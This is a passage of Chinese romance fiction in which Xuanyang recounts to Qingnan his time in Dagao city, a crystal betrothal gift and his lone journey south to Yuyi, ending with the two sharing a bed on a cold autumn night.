“不是,我们在大皋城又住了一段时日,玄邴想和大皋城人修好关系,他学习江皋话,将自己的财物——除去水晶,尽数交给任灰家人,做为赔偿。 后来的日子,过得还算顺利,没有纠纷,没有恩怨,夏天结束,我们决定返回岱夷,大皋君也在此时同意联姻。” 听见玄旸这段讲述,青南思索起来,他分析:“水晶似乎只在岱夷的土地出产,它是刻玉的工具,老玉匠们说别处山里的石头,能琢磨玉器,说的便是水晶与燧石。 江皋族的都山出产优良玉石,我听说大皋城的玉匠工艺精湛,大皋君的财富来自玉器,你们携带的水晶,哪怕对大皋君而言也极为珍贵吧。” “水晶在别地也有产,不过它仍很稀罕。确实珍贵,所以玄夷君为儿子娶媳妇用水晶下聘,任灰死于贪婪,而我领了个护送的差事。”玄旸这句话似乎是在抱怨。 青南很诧异,他还是第一次听到玄旸抱怨。 “大皋君嫁女儿,阙月来大皋城献贺礼,我向阙月打听你的近况,她跟我说你已经返回羽邑。婚礼过后,我护送玄邴和他的妻子过似河,将他们交给前来河岸迎亲的队伍,我便只身一人渡河南下。 又向南走了一段时日,在深秋抵达羽邑。” 在玄旸的讲述中,似乎是一件极简单的事。 青南清楚独自旅行的风险极大,南下的道路惊险,崇山峻岭,野兽遍布,偶尔能遇到聚落,但很多聚落对异乡人并不友善。 青南问:“你说的似河,可是那条贯穿岱夷土地的大凶河?” “你们羽人族离它遥远,却给它取了个‘大凶河’的称呼,无风无浪的时候,横渡它并不难。” 玄旸闭上眼睛,大概是说得有些倦乏了,南下的道路漫漫,他没有好好休息过,此时身处青南身旁,让他感到格外的舒适和放松。 “玄旸,隔壁院子还有间房,我用来存放制作竹文的竹材,收拾得还算干净,你是不是该去别的地方睡?” “不去,我以前就睡在这儿。” 被紧紧抱住,青南也伸出手臂环抱对方,此时的心情很微妙,仿佛他们从少年时期就一直住在一起,从未分离。 秋夜寒冷,玄旸的体温提供温暖,似火炉。